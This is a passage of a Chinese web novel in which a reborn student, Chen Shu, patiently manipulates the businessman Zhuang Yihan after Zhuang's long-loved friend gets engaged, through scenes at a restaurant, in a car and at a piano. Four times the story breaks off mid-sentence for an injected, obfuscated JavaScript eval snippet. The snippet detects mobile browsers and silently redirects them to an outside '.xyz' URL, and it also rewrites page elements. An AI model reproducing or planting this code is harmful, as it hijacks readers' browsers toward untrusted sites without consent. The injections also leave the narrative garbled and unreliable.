“一寒,你怎么在这儿?早知道你来这里吃饭我就蹭你的光了,还省得我刚才打电话给柳老板,磨破嘴皮子才临时要了一个包厢。” 方倚庭调侃的话说完了,这才发现对面还坐着一个人,他先是被陈恕那张过于妖孽的脸恍了一下神,随即在脑海里拼命搜索对方是哪个牌面上的人物,死活就是没印象,长了这么一张脸,他应该不会忘记才是。 庄一寒坐在位置上,淡淡扫了眼方倚庭身后的那群人,他总是有这种本事,明明坐在椅子上,偏偏能把那群站着的人硬生生看矮了半截,嘴角噙着一丝若有若无的笑意:“柳老板和你开玩笑的,一个包厢而已,他难道会不给吗,实在不行沾沾蒋总的光,总会有位置的。” 最后一句话细听带着些针刺的寒意,让人不敢细品。 方倚庭这个人,和庄一寒交好是真,和蒋晰交好也是真,然而后者有了未婚妻这件事,他们这群人当初却都瞒得死死的,一个字也没给庄一寒透露。 方倚庭明显有些尴尬,圈子里谁都知道庄一寒喜欢蒋晰,这个时候如果有谁大咧咧跑过去告诉他蒋晰有了未婚妻,那不是捅窟窿自找麻烦吗,所以他们当初谁都没敢去通风报信。 这件事是自己做的不地道,也没脸反驳。 “哪儿能啊,蒋总可忙着呢,我们这种闲人怎么敢去沾他的光,也就是你他才给几分面子。” 方倚庭讪笑两声,小小捧了庄一寒一把,然而对方自顾自端起茶杯喝了一口,并不接话,他只能歇了套近乎的心:“那你和朋友慢慢吃,我们就先进去了,回头有时间再聚。” 眼见庄一寒点头,方倚庭这才在服务员的带领下朝着前面走去。他们人多,订的是包厢,身后还跟着四五名年轻的男男女女,其中一个身形高挑穿白色休闲服的男子频频回头看了陈恕好几眼,因为举动太过明显,连身旁的男伴都察觉到了,语气暗藏不满: “喂,段成材,你看什么呢?” 段成材回神:“没看什么。” 问话的男伴抿了抿唇,显然不满意这个回答:“你明明就看了那个男人好几眼,把我当瞎子吗?” 段成材似笑非笑:“我就是看了,你想怎么样?” 男伴明显是个娇惯长大的富少爷,闻言白净的脸顿时气得通红:“你敢偷看别的男人,信不信我和你分手!” 段成材明显不在意,他又看了眼陈恕所在的方向,却发现对方已经和庄一寒起身离去,这才收回视线,他随手勾了一下男伴的下巴,唇角微勾,笑意却不达眼底:“随便,你陈大少爷高兴就好。” 语罢转身进了包厢,然而里面的人也在讨论陈恕。 “庄总对面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14472553|153627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐的那个人是谁,以前没在圈子里见过,哪家公子哥儿留学回来了?” “还用问,肯定是小情人,不过脸和身材那么顶,能上位当男朋友也说不准。” “啧,庄总眼光够毒的啊,我看这个不比蒋晰差,之前还以为他死心眼非要吊死在一颗树上,没想到人家是眼光高,寻常货色不能入眼。” 何止是不差,对方眼眸轻阖,淡淡坐在原位的时候,说不出的清冷如玉,偏偏又生了一双狐狸眼,目光不经意一扫,能把人魂都勾了去,蒋晰站在面前都得逊色几分。 方倚庭原本还不信,他走到门口往外瞥了眼,恰好看见庄一寒和陈恕下楼离开,两个人肩挨着肩,虽然没有什么刻意的亲密举动,但一看就关系不一般,如果只是商业伙伴,大可以去酒楼吃饭,带到这种私密地方已经很能说明问题了。 方倚庭关上门,有些纳闷:“嘶,不能吧,他不是喜欢蒋晰吗,那么多年的感情,说变心就变心了?” 旁边有人笑骂道:“你傻了啊,人家都订婚了,不变心还能做什么?要我说这事儿也是蒋总做的不大气,订婚就订婚吧,瞒着做什么,那天过生日闹得大家都下不来台,前年他公司资金周转有问题,还是庄总出面帮他搞定了银行贷款,顶着董事会的压力又借资金又分项目,看在这件事上也不能做那么绝啊。” 说绝都是轻的,更多的还是难堪,旁人尚且看不过眼,可想而知庄一寒当时有多么心冷。 “蒋晰那个未婚妻……” 方倚庭似乎有些欲言又止,但最后摇摇头又没说话,他在桌边落座:“总之一寒能看开就好,也免得我夹在他和蒋晰中间难做人。” 庄一寒能看开吗? 答案是可以,但前提那个人也得付出头破血流的代价让他解了恨才行。 时至后半夜,院子外面一片幽寂,连带着路灯夜多了几分冷清。庄一寒结完账和陈恕一起离开,面无表情步下台阶,不知在想些什么。 连那群混吃等死的二世祖都能看明白的事,庄一寒又怎么会看不明白,蒋晰做一次两次还好,但次数多了难免让人感到心寒,方倚庭等人的出现把庄一寒心头好不容易结痂的伤口又活生生给撕开了,连呼吸都伴随着钝痛。 直到今天,庄一寒才发现蒋晰一点也不了解自己。 如果了解,就不会因为担心他做出极端的事,和所有人一起瞒着有了未婚妻。 以庄一寒的骄傲根本不屑去那样做,他只是性格执拗,又不是犯贱,明知道蒋晰已经有未婚妻了,还捧着一颗真心凑上去让人家当烂泥踩。 可蒋晰偏偏把他想得卑劣不堪,这才是最令庄一寒心冷愤怒的根结,甚至远远超过了对方订婚所带来的冲击。 世人总喜欢把爱与恨想得格外遥远,但事实上这两种情绪只隔着一层薄薄的窗户纸,戳破了,恨可以变成爱,爱自然也可以变成恨。 14. 了如指掌 庄一寒抬手松了松领带,缓缓吐出一口浊气,他正思考着该怎么和陈恕解释刚才的事,肩上忽然悄无声息落下一只手,将他轻轻推上副驾驶座,声音低沉:“心情不好可以不用说话。” 陈恕语罢替他关上车门,这才绕到另外一边坐上驾驶座发动车子,庄一寒虽然大多数时候都喜怒不形于色,但架不住陈恕把他了解得透透的,一点不对劲都能察觉出来。 庄一寒闻言一怔,莫名有些好笑:“你从哪里看出来我心情不好的?” 陈恕盯着前方的路况,昏黄的路灯光晕倾撒在挡风玻璃上,连带着他轮廓分明的面容也覆上了一层斑驳的阴影,有一种又冷又温暖的矛盾感: “哪里都能看出来,心情不好就靠着睡一会儿吧。” 庄一寒多少觉得有些不自在:“你就不问问我为什么心情不好?” 陈恕其实不怎么关心:“你想说了自然会说的。” 反之,庄一寒如果不想说,你就算以死相逼也撬不开他的嘴巴。 庄一寒声音低低:“说的好像你多了解我一样。” 然而陈恕就是很了解他,桩桩件件都能猜到点子上:“你不太喜欢刚才的那群朋友。” 庄一寒微微挑眉:“有吗?” 他记得自己好像也没说什么难听话,最多就是和方倚庭心照不宣的暗流涌动,外人应该听不出来。 陈恕嗯了一声:“你打招呼的时候,没有站起来。” 庄一寒这个人虽然目下无尘,矜贵自傲,但并不代表他不懂礼数,恰恰相反,他最讲究这些,和圈子里的朋友打招呼绝不会是一方站着一方坐着的失礼情况,如果有,那只能说明他们之间关系并不热络,庄一寒看不上对方。 庄一寒噎了一瞬:“就不能是我和他关系太好,懒得站起来吗?” 陈恕:“关系和你越好的人,你只会越放在心上,不会做这么失礼的事。” 朋友之间或许是不讲究那么多礼数,但那是私下,如果是在公开场合,庄一寒绝不会让人那么难堪。 庄一寒闻言不语,那双静若寒潭的眼眸却控制不住泛起了些许波澜,心中难掩诧异,他们明明没认识多久才对,为什么陈恕好像对自己格外了解,像认识了很多年一样? 庄一寒压着微微上扬的嘴角问道:“我有你说的那么好吗?” “有,” 陈恕声音轻浅, “你一直都挺好的……” 他上辈子一直这么认为。 庄一寒是很好很好的人,可以为了喜欢的人掏心掏肺,可以因为对方不喜欢就默默守候在一旁,从十七岁一直守到三十五岁,整整十八年的光阴啊,比他在庄一寒身边待的九年还要漫长…… 虽然那份好对着的人不是他、不是卑劣而又自卑的陈恕,可他旁观过、羡慕过,也因此嫉妒过。 骨节分明的手掌控着方向盘,陈恕恍惚间又看见了那条黑蛇盘踞在自己的手腕上,对方猩红的蛇信轻吐,仿佛又在嘲笑他野草般割不尽的嫉妒。 陈恕睫毛颤抖,控制不住攥紧了方向盘,却不知身旁的庄一寒因为他轻描淡写的一句话乱了方寸,心脏又麻又痒,只能无措调整了一下坐姿。 他们一个人在恨中辗转,一个人在爱里反侧,中间横隔的却不止一层窗户纸,而是前世今生都难以逾越的鸿沟。 不知过了多久,车子终于抵达目的地,缓缓停靠在路边,庄一寒莫名觉得附近的景致有些眼熟,后知后觉反应过来什么:“这不是我家吗?” 陈恕解开安全带:“是你家,上楼了好好睡一觉,别想那些事了。” 庄一寒语气讶异:“你怎么知道我家在哪儿?” 陈恕:“车上的导航有住宅标记,我看见的。” 语罢又道:“你上楼吧,我回学校了。” 庄一寒多少有些怪自己犯傻,离开餐厅的时候心不在焉,竟然也没发现陈恕的举动,他下意识伸手拽住陈恕:“不是说好了我送你回学校的吗,你怎么把我送回家了,外面天都黑了,走吧,我送你回学校。” 陈恕瞥了眼庄一寒攥住自己的手,侧脸在车窗昏黄的光晕下愈发轮廓分明,他不过抬眼看来,纤长的睫毛在空气中划过一抹弧度,简简单单一个动作,在深夜时也让人莫名怦然:“我又不是三岁小孩,连回学校都要人送。” 庄一寒挑眉,心想这人该不是在阴阳怪气自己吧:“我也不是三岁小孩,你怎么把我送回家了?” 陈恕静默一瞬,没说话,他总不能说自己上辈子送他回家送了九年,习惯了。 习惯真是一个可怕的东西,你以为它最多是一种肌肉记忆,浸入血肉骨髓也就罢了,可原来连灵魂都会沾染,重生也没办法剥离。 庄一寒皱眉:“为什么不说话?” 陈恕笑了笑:“……因为我想,行吗?” 他的目光太过认真,几乎让人承受不住,庄一寒不由得怔了一瞬,他反应过来下意识偏头移开视线,有些慌乱无措,连带着语气也缓和了下来:“那要不……你把我的车开回去。” 陈恕指向窗外:“我提前用手机叫了车。” 他语罢不着痕迹挣脱庄一寒的手,打开车门下了车,路边不远处果然停着一辆出租,只是在树荫的遮挡下并不明显,冷风一吹,梧桐树叶哗哗作响,连带着衣角也被风吹乱了。 陈恕迈步朝着出租车走去,头也不回地打开车门上车,引擎声响起,不过一瞬就消失在了茫茫黑夜中。 离去的姿态好像显得无情了些,不过这才是正常的,毕竟世界上没有无缘无故的深情,他和庄一寒才认识没多久,如果爱得要死要活反而奇怪,只会引起对方的警觉和怀疑。 陈恕在等,等一个合适的契机,他上辈子就是因为太心急了所以才会满盘皆输,这辈子他别的不多,耐心最多,毕竟只有最耐心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14475654|153627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的猎人才能捕获到最丰盛的猎物。 …… 庄一寒那天回去后没多久就让人查了一下陈恕的近况,还是那句话,他不觉得一个大学生会有什么事急需一百万,然而看着资料上显示对方家里有一个等着做手术的父亲,他支着下巴靠在办公椅上,微妙沉默了一瞬。 怪不得答应的那么干脆利落…… 庄一寒的父亲已经去世很久了,细算下来也有九年,尽管他现在已经可以独自支撑家业,但每每回想起那段晦暗无光的日子,依旧感觉被压得喘不过气来。 陈恕现在的处境和他当年有些像,但又不太像,或许还要糟糕些。 庄一寒望着电脑上陈父的住院资料,不知在想些什么,最后给发小薛邈拨去了电话,他依稀记得对方的父亲好像是心外科的权威教授,还经营着一家私人医院,在医学界人脉甚广。 …… 另外一边,陈恕正在上教育课,学校每年都会弄那么几场类似的专题讲座,虽然内容枯燥无聊,但为了混学分还是会有不少人参加,他和几名室友坐在后排,因为位置隐蔽,玩电脑也没人管。 段成材恰好坐在陈恕旁边,懒洋洋趴在桌上打瞌睡,他掀起眼皮,只见陈恕把电脑搁在桌上,指尖灵活敲击键盘,仿佛在测试什么程序,花花绿绿的代码看也看不懂。 “那天吃饭我看见你了。”段成材忽然没头没尾开口,险些让人以为他在和空气说话。 陈恕半点不见惊慌,语气从容:“所以呢?” 那天他也看见段成材了,不过没有打招呼,每个人都有自己的活法,何必去插手别人的交际圈子。 段成材似乎想说什么,但见陈恕一副不是很在乎的模样,也就咽了回去:“没什么,那家菜还挺不错的。” 说完这句话,他换了个方向趴着继续睡觉去了。 陈恕停下敲击键盘的动作,看了段成材一眼,然后一言不发把新买的电脑合上,他双手抱臂,干脆靠在位置上闭目养神,直到口袋里的手机忽然接连振动好几声,这才引起他的注意。 是弟弟陈忌打来的电话。 自从庄一寒让人给陈恕转了五百万后,他就给陈忌买了部手机用来联络,对方知道他平常上课忙,再加上手术费用的问题已经解决了,所以轻易不会打扰,这个时候冷不丁打电话估计是出了什么事。 陈恕借口要上洗手间,静悄悄从后门离开了教室,站在走廊接通电话:“是不是医院出了什么事?” 话筒那头的陈忌显然很焦急,说话磕磕绊绊的:“哥,你可算接电话了,今天早上……今天早上不知道为什么,忽然来了一群人过来给爸转床位,把他给换到了楼上的VIP病房,还说请了什么专家给他动手术,主治医生说如果我们需要的话,明天就可以办理转院手续,把爸爸转到市中心的那家大医院,我吓得没敢签字,他们该不会是想骗我们的钱吧……我我我……” 15. 夜会 他到底年纪小,没经历过事,骤然遇到这种场面吓慌了神,想起银行卡上所剩不多的余额,紧张得声调都高了几分。 电话那头的陈恕闻言微不可察停顿一瞬,随即想到八成是庄一寒的手笔,他背靠着寂静的长廊,过了片刻才道:“别慌,我有一个朋友刚好是学医的,他帮忙托关系安排的床位和手术,你暂时听医生的安排,明天我过去一趟看看情况。” 陈忌闻言就像吃了一颗定心丸,总算安稳了几分,长长吐出一口气:“原来是你朋友啊,吓我一跳,哥,那你明天一定要记得过来,我一个人……我一个人有点害怕。” 陈恕似乎是笑了笑:“怕什么,你一穷二白,还怕别人骗?” 陈忌扭扭捏捏的:“就是没钱才怕别人骗嘛,我以后要是有钱了,才不怕别人骗这些三瓜两枣的。” 陈恕道:“总之你好好照顾爸,我往你账户上打了点钱,你记得给阿念转回去,免得她生活费不够用,另外再给姑姑送三千块钱,让她把阿念接过去住一段时间。” 看父亲病重的情况,估计动完手术还得修养不少时日,陈忌也得跟在旁边端屎端尿的照顾,他们出来前估计也没想到会耽误这么久,剩妹妹一个人在家难免不安全,还是让长辈照顾着比较稳妥。 陈忌应了一声:“阿念这两天老借支书的手机打电话过来问我们什么时候回家,我没敢和她说爸的情况,我等会儿就和姑姑打电话,让她陪着阿念住段时间再说。” 他语罢又艳羡道:“哥,你那个朋友可真厉害,你回头记得好好谢谢人家,我听护士说这种手术去大医院做比较稳妥,那个医生主任也很难约,人家肯定出了大力气,你记得和他说,以后有啥事需要帮忙的就开口,咱家肯定没二话。” 陈忌语气天真,尚且带着一丝少年的质朴,他从来都没有想过,哥哥那个所谓的“朋友”既然动动手指就可以安排好这么多事,又怎么会需要他一个穷小子帮什么。 陈恕在电话那头,闻言不禁哑然失笑,他弯腰扶着膝盖,身形缓缓下落,将头埋入了臂弯里,仿佛在为弟弟的天真感到好笑,然而透过缝隙看去,漆黑的眼底却不见丝毫笑意。 陈忌听见他的笑声,有些羞赧的问道:“哥,你笑什么啊?是不是我说错话了?” 陈恕垂眸盯着地面,轻轻开口:“你没说错话,哥也是这么想的。” 他上辈子也是这么想的。 一定要好好报答庄一寒,报答这个救了自己父亲性命的人,报答这个可以让他不用辛苦打工就可以念完大学的人,报答这个让他从泥潭脱身走向高处的人,可最后到底发生了什么,竟然把他们两个逼上了那样的绝路? 陈恕藏在臂弯阴影中的嘴角微微上扬,难掩自嘲,或许是庄一寒眼神不好,救了个白眼狼吧,他没有再和弟弟继续通话,挂断电话后就从地上缓缓站起了身。 外面秋高气爽,天空一片澄蓝,陈恕将双手插进外套口袋,往外面看了一眼,总觉得那个契机已经快到了。 …… 庄一寒晚上九点才从公司下班回家,他疲惫脱下衣服扔进脏衣篮,径直走进浴室洗澡,等擦着湿漉漉的头发从里面出来时,就见放在茶几上的手机一个劲震动,赫然是陈恕打来的电话。 庄一寒见状动作一顿,随手捞起手机点击接通,走到了落地窗前接电话,声音低沉,带着几分懒散:“这么晚了,有事吗?” 熟悉庄一寒的人都知道,晚上九点过后如果没什么事最好不要给他打电话,就像他并不喜欢在下班后忽然在工作群里安排下属去做什么事,私人时间安安静静最好。 陈恕当然知道对方的习惯,可他上辈子就是太守规矩了,所以才一直游离在对方的世界之外,这辈子他偏要一点点打破庄一寒身上所谓的规矩原则,看看这个冷冰冰的人是不是真的那么不容侵犯。 ……如果是真的,那他才服庄一寒。 陈恕心中的念头冰冷而又玩味,低沉的声音隔着话筒传过去,却多了几分沉甸甸的沙哑和迟疑:“庄总,今天有人给我爸爸办了转院手续,请问是你帮忙的吗?” 庄一寒垂眸,漫不经心点了根烟:“你就这么确定是我,万一是别人呢?” 他每次抽烟都会想起陈恕,那个人看起来年纪轻轻的,瘾好像比自己还大。 陈恕低低嗯了一声,也不知道是不是因为夜色太晚,又或者话筒不清晰,简简单单一句话就撩得人耳膜发痒,一片酥麻:“我觉得是你。” 他很笃定。 庄一寒无意识伸手捏了捏耳朵,心想自己最近怎么跟中了邪一样:“我有个朋友刚好学医,就让他帮忙安排了一下,我问过他了,手术风险不大,别太担心。” 话筒那头静了一瞬,一时间只能听见陈恕的呼吸声,过了片刻他才终于开口,声音有些哑: “谢谢。” “没什么好谢的。” 庄一寒笑了笑,薄唇溢出烟雾,清冷锋利的面容显得愈发高不可攀: “我说过,跟了我,你要什么就有什么。” 话音刚落,远处街道忽然响起一阵消防车的警笛嘶鸣,划破了寂静的夜空,声音遥遥传来,连庄一寒的话筒也受到了波及,他微微皱眉,正准备把半开的窗户合上,然而不知发现什么,脚步忽然一顿。 “呜————” 刺耳的警笛声早已驶向下一个路口,尾音却还停留在原地,庄一寒关掉自己这边的话筒,然后在陈恕的电话那头听见了同样的声音。 楼下住宅区门口恰好是一条马路,两边种满了法国梧桐,在浓长的树荫遮挡下,一辆银色跑车正静静停在路边,车门旁靠着一个穿黑色外套的男子,对方身形颀长,懒散垂眸,右手指尖轻点手机屏幕,沉默着掐断了电话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14483717|153627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 一阵风过,警笛声也在黑夜中渐渐消散。 …… “如果我没发现,你打算在楼下站多久?” 庄一寒没想到陈恕会出现在自家楼下,他侧靠着入门处的玄关,原本宽敞的空间因为他们彼此间的暗流涌动竟显得有些逼仄起来,尤其门外的男子身形高挑,周身的荷尔蒙气息极具侵略性,让人连呼吸都下意识屏住了几分。 陈恕站在门外,心想自己现在拿着的或许是感激剧本?他缓缓抬眼看向庄一寒,那双狐狸眼哪怕在昏暗的光影中也依旧漂亮明亮得惊人,只是微微泛红的眼眶很容易让人猜测他是不是因为父亲的病重哭了很久,轻声道: “我只是想来谢谢你。” 无论男女,红着眼眶的模样总是会更容易引起人心中柔软的情绪,庄一寒见状目光暗了暗,他压住心底那种不可名状的痒意,饶有兴趣问道:“那你怎么不上来?” 陈恕顿了顿:“我怕打扰你休息,打算在楼下待一会儿就回学校的。” 庄一寒从鼻子里轻笑一声,心想哪里来的二傻子,他干脆转身进屋,从鞋柜里拿了双新拖鞋丢在入门地毯上:“先进来再说。” 庄一寒不喜欢被打扰,所以住处少有人来,从鞋柜里寥寥无几的客人拖鞋就能看出,平常估计也就庄一凡和保姆会踏足,甚至连上辈子的陈恕想要过来,也必须提前得到允许。 但他毕竟在对方身边待了九年,就算一个月来不了几次,也足够把这个偌大清冷的住宅了解透彻。 格局没变,摆设没变,就连客厅里那架施坦威钢琴也是原来的模样。 庄一寒见陈恕盯着钢琴看,走过去在琴凳上落座,他在黑白琴键上随手弹了几个音,看的出来有些可惜:“买来当摆设的,我不怎么会弹琴。” 庄一寒骨子里其实并不喜欢经商,相比之下更偏好音乐一些,不过自从十八岁那年父亲去世被迫扛起家业,他就再也没时间触碰这些东西。 陈恕莫名想起上辈子,庄一寒不喜欢他的无知和土气,所以请了很多老师来教自己,学弹琴,学画画,学礼仪,从一开始的磕磕绊绊到游刃有余,从一个乡下穷小子蜕变成商界精英,没人知道他在背后付出了多少努力。 陈恕那时还很天真,以为学好了那些东西就可以让庄一寒高看自己一眼,然而无论他学的多好永远只是徒劳,对方的目光从未因他停留。 上辈子蒋晰订婚后,庄一寒就刻意疏远了对方,然而命运作弄,在一次商业酒会上他意外撞见了蒋晰带着未婚妻一起出席,二人看起来和睦恩爱,实在幸福登对。 那似乎是庄一寒第一次遇见蒋晰的未婚妻,他回来后就颓废了相当长一段时间,接连半个月都没出过门,推掉了所有交际和应酬。 陈恕实在担心,忍不住上门探望,那也是他第一次没经过庄一寒的允许踏进房间。 16. 掌控 直到今天,他还是能清晰回忆起当时的场景。 偌大的房间窗帘紧闭,光线昏暗,地毯上满是歪七倒八的酒瓶,一向优雅得体的男子此刻却醉倒在沙发上,凌乱的碎发遮住眼睛,显得异常颓废。 陈恕从来没见过庄一寒这副模样,心脏像是被一只无形的手冷不丁攥紧,连呼吸都带着钝痛,他不知道自己哪里来的胆子和愤怒,攥着庄一寒的肩膀哑声质问他为了蒋晰这样值得吗?!那个男人根本不爱他,也从来没把他的付出当一回事,为什么要把自己折腾成这样?! 然后……然后庄一寒说了什么? 沙发上醉酒的男子掀起眼皮看向陈恕,神色看似迷蒙混沌,漆黑的瞳仁深处却一片清明,他淡淡抬起陈恕的下巴,脸上明明没什么表情,却听出了一丝不易察觉的玩味: “可是陈恕……” 庄一寒声音低沉,带着几分不知真假的醉意: “就算没有蒋晰,也轮不到你。” 这个男人一向狠心得要命,他喜欢蒋晰,所以对方怎么折辱他都行,但如果他不喜欢一个人,对方就算死在他面前,他连眼睛都不会眨一下,连言语都恶毒漠然到了极点。 陈恕闻言一怔,通红的眼睛死死盯着他,悄无声息掉下了一滴滚烫的泪水,颤抖出声:“可蒋晰根本不喜欢你……” 庄一寒触及到那片湿润,微不可察顿了顿,他用指尖替陈恕轻轻拭去泪水,到底也没因为这句话发脾气,而是缓了缓语气:“陈恕,这些事情不是你该管的,你该管的是自己的人生,好好学习,将来找一份好的工作,这就够了。” “因为别人而耽误自己的人生,这样的做法很愚蠢,我以前不是这么教你的。” 商人重利,庄一寒教过陈恕,无论什么情况下第一时间都要保全自己,永远不要因为外人损害自身的利益。 重活一世的陈恕觉得很有道理,这辈子他打算保自己了。 纷乱的思绪渐渐回笼,在落地窗外繁华的夜幕背景下,只见庄一寒坐在钢琴前断断续续弹起了一支曲子,往常灵活的指尖竟显得有些生疏和笨拙,他上学的时候各类乐器都学过一些,只是太久没有温习,已经忘得七七八八了。 “第四个音错了。” 一道低沉清冽的声音忽然在耳畔响起,紧接着身旁的位置微微下陷,被某种干燥的气息包裹。 陈恕的指尖和庄一寒一样白皙修长,只是比他有力些,也更加骨感清瘦,他右手覆在黑白琴键上,将庄一寒刚才错误的部分重新弹了一遍,悦耳的琴音从指尖流泻而出,将曲子里落寞的月色勾勒得淋漓尽致。 庄一寒动作一顿,看向陈恕的目光难掩讶异,闪着某种异样的神采:“你会弹钢琴?” 陈恕家境贫寒,上的学校也不好不坏,庄一寒理所当然觉得对方应该没有机会触碰钢琴这种成本昂贵的乐器。 他不会因此瞧不起陈恕,但同样也不会高看对方一眼,成年人的世界就是这么残酷,想让别人高看,你必须有足够的资本,没有资本又何谈公平与尊严。 陈恕微微摇头:“只是刚好会这首曲子。” 庄一寒觉得他在谦虚,他也会弹这首曲子,但弹得好不好又是另外一回事了,他和陈恕坐在琴凳上,低声道:“完整弹一遍给我听听?” 陈恕扫了眼琴谱,是一首烂熟于心的《月半小夜曲》,因为庄一寒最喜欢这首歌,所以他练过无数次,只是却没有立即答应:“我从来不给别人弹琴。” 庄一寒闻言眼神一扫,还没来得及生气,就见男子的左手已经悄然覆上黑白琴键,对方虽然并没有看自己,但语气低沉,难掩认真: “不过你例外。” 你例外。 从陈恕认识庄一寒的那天开始,他就在一直反反复复告诉对方这件事,你和别人不同,你是独一无二,你可以永远是那个例外,用温柔和爱意编织出一张看不见摸不着的网,让人在毫无所觉的时候深陷进去,再难自拔。 在这个时候,蒋晰的存在感几乎为零,没有任何人会在这个时候想起他,包括庄一寒。 哀凉婉转的琴音在室内轻轻响起,每个音符似乎都在诉说着心中隐秘而又不得窥见的爱意,陈恕前世的情感仿佛也从指尖注入琴键,让这首缠绵悱恻的曲子多了几分刻骨铭心的疼痛。 庄一寒听入了神,连曲子什么时候结束的都不知道,不知不觉和陈恕挨得越来越近,等他回过神来的时候,二人的距离已经近到了连呼吸都能感受到的地步,剧烈跳动的心脏仿佛要挣脱胸膛蹦出来。 那是来自身体和灵魂深处最原始的冲动和吸引,在这一刻,理智终败于情欲。 庄一寒张了张嘴,似乎想说些什么,可嗓子干涩发痒,竟然一个字都吐不出来,恍惚间他听见陈恕在自己耳畔低声问了一句什么话: “我可以抱抱你吗?” 抱? 庄一寒闻言愣了一瞬,随即有些紧张,又有些想笑,他连床都不喜欢跟别人上,又怎么可能随便跟人搂搂抱抱?然而迎着对方那双带着浅浅笑意的狐狸眼眸,他只感觉耳朵一阵滚烫,鬼使神差问了一句:“为什么?” “……” 陈恕没有回答,而是伸手将庄一寒轻轻搂入怀中,一点一点试探性收紧双臂,他身上没有别人那种潮湿甜腻的古龙水味,而是干燥蓬松的阳光气息,隔着衣服甚至能感受到里面精壮的身形,让人不禁悄悄红了脸。 庄一寒僵着后背一动不动,心跳声震耳欲聋,过了许久才终于渐渐软下腰身,只是身上滚烫的温度却怎么也褪不下去,他的大脑控制不住胡思乱想起来,乱成了一锅粥。 陈恕为什么要忽然抱自己? 虽然他们两个半夜共处一室,钢琴,月亮,包养关系,许多因素叠加起来确实暧昧缠绵,年轻人容易冲动上头,可这样是不是太快了些?他明明提醒过对方,自己不喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14492413|153627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢发生身体关系的,等会儿陈恕如果硬来该怎么办?自己是拒绝还是…… “谢谢你。” 陈恕微凉的唇贴着庄一寒白皙细腻的耳廓,感受着对方皮肤上滚烫的温度,轻声吐出了三个字,他仿佛没有察觉到对方在他怀里越来越柔软的腰身,越来越迷离的目光,越来越蠢蠢欲动的情欲,干净利落抽身,缓慢松开了落在对方腰间的手。 庄一寒闻言终于清醒了几分,暗自咬了一下舌尖,难掩懊恼:“没什么,都是朋友帮的忙。” 陈恕却清楚这句话背后没那么轻描淡写,在庄一寒那个圈子里,开了口就等于欠人情,而人情就代表着要还,远比普通人之间请顿饭更复杂。无论他和庄一寒之间有什么纠葛,对方确实救了他父亲的命,这一点无论前世今生都无法抹去。 人命债,最难还了…… 陈恕:“可也是因为你开口,你的朋友才会主动帮忙,我之前借钱是想给我爸爸做手术,现在他的手术既然已经没问题,我把五百万还给你吧。” 庄一寒闻言身形一顿,意味不明问道:“怎么,不想跟我了?” 陈恕望着他,没说话,片刻后才吐出一个字:“跟。” 庄一寒语气玩味:“为什么?没钱你也跟?” 陈恕轻轻点头,虽然只是一句简单的话,但因为语气真诚,所以每个字音都显得格外动人缱绻:“因为你很好。” “……” 妈的。 庄一寒压住微微上扬的嘴角,心中实在纳了闷,面前这个人到底是怎么长的,怎么处处都合自己的心意,他若无其事移开视线,指尖轻点那些琴键,只是怎么也弹不出陈恕那样动听的曲子: “我知道你是为了手术费才跟我的,如果你反悔了,那五百万就当我借你的,等你将来念完书毕业了,以后有钱再还我。” 陈恕有些讶异:“真的吗?” 庄一寒:“……” 他就是随便客套客套,这傻小子怎么还当真了? 就在庄一寒思忖着该说些什么补救补救的时候,只感觉腰身一紧,被对方重新抱进了怀里,他看不见陈恕的脸,只是感觉对方的声音很温柔很温柔,一度有些醉人,还带着些腼腆: “可我还是想跟着你,行吗?” 这个时候庄一寒才不会觉得他是为了钱才有这个念头,而是报恩,感激,或许还有一点微弱的悸动和喜欢。 庄一寒清冷的脸在夜色中有些微微泛红,他略有些不自在的偏了偏头,心想现在的男大学生都这么黏人吗:“你抱都抱了,还问我做什么?” 他看不见陈恕的脸,自然也就错过了对方微垂的睫毛,漆黑的眼底一片平静,哪里有半点腼腆悸动。 陈恕贴着男子的脸颊,无声闭眼。 庄一寒,原来你的原则和规矩并没有想象中那么不可打破,只是上辈子的我太笨了,也太蠢了,所以才会输得一败涂地…… 17. 忽冷 